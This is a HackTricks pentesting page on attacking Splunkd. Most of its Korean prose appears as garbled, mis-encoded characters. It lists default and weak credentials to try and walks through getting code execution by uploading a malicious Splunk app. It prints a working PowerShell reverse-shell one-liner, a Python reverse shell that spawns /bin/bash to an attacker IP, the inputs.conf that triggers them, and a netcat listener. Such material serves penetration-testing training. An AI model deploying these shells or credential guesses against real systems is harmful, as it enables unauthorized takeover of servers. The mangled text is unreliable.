# 8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## **κΈ°λ³Έ μ 보**
Splunkλ **λ°μ΄ν° μμ§, λΆμ λ° μκ°ν**μμ μ€μν μν μ νλ **λ‘κ·Έ λΆμ λꡬ**μ
λλ€. μ΄κΈ° λͺ©μ μ **SIEM(보μ μ 보 λ° μ΄λ²€νΈ κ΄λ¦¬)** λκ΅¬λ‘ μ¬μ©λλ κ²μ΄ μλμμ§λ§, **보μ λͺ¨λν°λ§** λ° **λΉμ¦λμ€ λΆμ** λΆμΌμμ μΈκΈ°λ₯Ό μ»μμ΅λλ€.
Splunk λ°°ν¬λ μ’
μ’
**λ―Όκ°ν λ°μ΄ν°**λ₯Ό μ μ₯νλ λ° μ¬μ©λλ©°, μμ€ν
μ μΉ¨ν΄ν κ²½μ° μ μ¬μ μΈ κ³΅κ²©μμκ² **κ·μ€ν μ 보 μΆμ²**κ° λ μ μμ΅λλ€. **κΈ°λ³Έ ν¬νΈ:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
κΈ°λ³Έμ μΌλ‘ **Splunk μΉ μλ²λ ν¬νΈ 8000μμ μ€νλ©λλ€**.
{% endhint %}
## μ΄κ±°
### λ¬΄λ£ λ²μ
Splunk Enterprise 체ννμ **60μΌ ν λ¬΄λ£ λ²μ μΌλ‘ μ νλλ©°**, **μΈμ¦μ΄ νμνμ§ μμ΅λλ€**. μμ€ν
κ΄λ¦¬μκ° Splunkμ 체ννμ μ€μΉνμ¬ ν
μ€νΈνλ κ²μ λλ¬Έ μΌμ΄ μλλ©°, μ΄λ **κ·Έ ν μνμ§κ³€ ν©λλ€**. μ΄λ μΈμ¦μ΄ μ ν μλ λ¬΄λ£ λ²μ μΌλ‘ μλ μ νλμ΄ νκ²½μ 보μ ꡬλ©μ μ΄λν©λλ€. μΌλΆ μ‘°μ§μ μμ° μ μ½μΌλ‘ μΈν΄ λ¬΄λ£ λ²μ μ μ νν μ μμΌλ©°, μ¬μ©μ/μν κ΄λ¦¬κ° μλ€λ κ²μ μλ―Έλ₯Ό μμ ν μ΄ν΄νμ§ λͺ»ν μ μμ΅λλ€.
### κΈ°λ³Έ μ격 μ¦λͺ
ꡬλ²μ μ Splunkμμλ κΈ°λ³Έ μ격 μ¦λͺ
μ΄ **`admin:changeme`**λ‘, λ‘κ·ΈμΈ νμ΄μ§μ νΈλ¦¬νκ² νμλ©λλ€.\
κ·Έλ¬λ **μ΅μ λ²μ μ Splunk**λ **μ€μΉ κ³Όμ μ€μ μ격 μ¦λͺ
μ μ€μ ν©λλ€**. κΈ°λ³Έ μ격 μ¦λͺ
μ΄ μλνμ§ μλ κ²½μ°, `admin`, `Welcome`, `Welcome1`, `Password123`μ κ°μ μΌλ°μ μΈ μ½ν λΉλ°λ²νΈλ₯Ό νμΈν΄ λ³Ό κ°μΉκ° μμ΅λλ€.
### μ 보 μ»κΈ°
Splunkμ λ‘κ·ΈμΈνλ©΄ **λ°μ΄ν°λ₯Ό νμνκ³ **, **λ³΄κ³ μλ₯Ό μ€ννλ©°**, **λμ보λλ₯Ό μμ±νκ³ **, Splunkbase λΌμ΄λΈλ¬λ¦¬μμ **μμ© νλ‘κ·Έλ¨μ μ€μΉ**νκ³ , μ¬μ©μ μ μ μμ© νλ‘κ·Έλ¨μ μ€μΉν μ μμ΅λλ€.\
μ½λλ₯Ό μ€νν μλ μμ΅λλ€: Splunkλ μλ² μΈ‘ Django μ ν리μΌμ΄μ
, REST μλν¬μΈνΈ, μ€ν¬λ¦½νΈ μ
λ ₯ λ° κ²½κ³ μ€ν¬λ¦½νΈμ κ°μ μ¬λ¬ κ°μ§ λ°©λ²μΌλ‘ **μ½λλ₯Ό μ€ν**ν μ μμ΅λλ€. Splunk μλ²μμ μ격 μ½λ μ€νμ μ»λ μΌλ°μ μΈ λ°©λ²μ μ€ν¬λ¦½νΈ μ
λ ₯μ μ¬μ©νλ κ²μ
λλ€.
λν, Splunkλ Windows λλ Linux νΈμ€νΈμ μ€μΉν μ μμΌλ―λ‘ Bash, PowerShell λλ Batch μ€ν¬λ¦½νΈλ₯Ό μ€ννκΈ° μν΄ μ€ν¬λ¦½νΈ μ
λ ₯μ μμ±ν μ μμ΅λλ€.
### Shodan
* `Splunk build`
## RCE
### μ¬μ©μ μ μ μ ν리μΌμ΄μ
λ§λ€κΈ°
μ¬μ©μ μ μ μ ν리μΌμ΄μ
μ **Python, Batch, Bash λλ PowerShell μ€ν¬λ¦½νΈ**λ₯Ό μ€νν μ μμ΅λλ€.\
**Splunkμλ Pythonμ΄ μ€μΉλμ΄ μμΌλ―λ‘**, **Windows** μμ€ν
μμλ Python μ½λλ₯Ό μ€νν μ μμ΅λλ€.
[**μ΄**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk ν¨ν€μ§λ₯Ό μ¬μ©νμ¬ λμμ λ°μ μ μμ΅λλ€. μ΄ λ¦¬ν¬μ§ν 리μ **`bin`** λλ ν 리μλ [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) λ° [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1) μμ κ° μμ΅λλ€. λ¨κ³λ³λ‘ μ§νν΄ λ³΄κ² μ΅λλ€.
μ΄λ₯Ό λ¬μ±νκΈ° μν΄, λ¨Όμ λ€μ λλ ν 리 ꡬ쑰λ₯Ό μ¬μ©νμ¬ μ¬μ©μ μ μ Splunk μ ν리μΌμ΄μ
μ μμ±ν΄μΌ ν©λλ€:
```shell-session
tree splunk_shell/
splunk_shell/
βββ bin
βββ default
```
The **`bin`** λλ ν 리μλ μ°λ¦¬κ° μ€νν **μ€ν¬λ¦½νΈ**κ° ν¬ν¨λ κ²μ
λλ€ (μ΄ κ²½μ° **PowerShell** 리λ²μ€ μ
Έ) λ° κΈ°λ³Έ λλ ν 리μλ μ°λ¦¬μ `inputs.conf` νμΌμ΄ μμ κ²μ
λλ€. μ°λ¦¬μ 리λ²μ€ μ
Έμ **PowerShell μλΌμ΄λ**κ° λ κ²μ
λλ€:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
The [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) νμΌμ Splunkμ **μ΄λ€ μ€ν¬λ¦½νΈλ₯Ό μ€νν μ§** λ° κΈ°ν 쑰건μ μλ €μ€λλ€. μ¬κΈ°μ μ°λ¦¬λ μ±μ νμ±νλ‘ μ€μ νκ³ Splunkμ μ€ν¬λ¦½νΈλ₯Ό 10μ΄λ§λ€ μ€ννλλ‘ μ§μν©λλ€. κ°κ²©μ νμ μ΄ λ¨μμ΄λ©°, μ΄ μ€μ μ΄ μ‘΄μ¬ν κ²½μ°μλ§ μ
λ ₯(μ€ν¬λ¦½νΈ)μ΄ μ€νλ©λλ€.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
μ°λ¦¬λ μ ν리μΌμ΄μ
μ΄ λ°°ν¬λ λ μ€νλκ³ PowerShell μλΌμ΄λλ₯Ό μ€νν `.bat` νμΌμ΄ νμν©λλ€.
λ€μ λ¨κ³λ `Install app from file`μ μ ννκ³ μ ν리μΌμ΄μ
μ μ
λ‘λνλ κ²μ
λλ€.
μ
μ± μ¬μ©μ μ μ μ±μ μ
λ‘λνκΈ° μ μ Netcat λλ [socat](https://linux.die.net/man/1/socat)μ μ¬μ©νμ¬ λ¦¬μ€λλ₯Ό μμν©μλ€.
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
On the `Upload app` page, click on browse, choose the tarball we created earlier and click `Upload`. As **μ°λ¦¬κ° μ ν리μΌμ΄μ
μ μ
λ‘λνλ μ¦μ**, a **리λ²μ€ μ
Έμ΄ μμ λ©λλ€** as the status of the application will automatically be switched to `Enabled`.
#### Linux
If we were dealing with a **Linux host**, we would need to **edit the `rev.py` Python script** before creating the tarball and uploading the custom malicious app. The rest of the process would be the same, and we would get a reverse shell connection on our Netcat listener and be off to the races.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
λ€μ νμ΄μ§μμλ μ΄ μλΉμ€λ₯Ό μ
μ©νμ¬ κΆνμ μμΉμν€κ³ μ§μμ±μ μ»λ λ°©λ²μ λν μ€λͺ
μ μ°Ύμ μ μμ΅λλ€:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## References
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}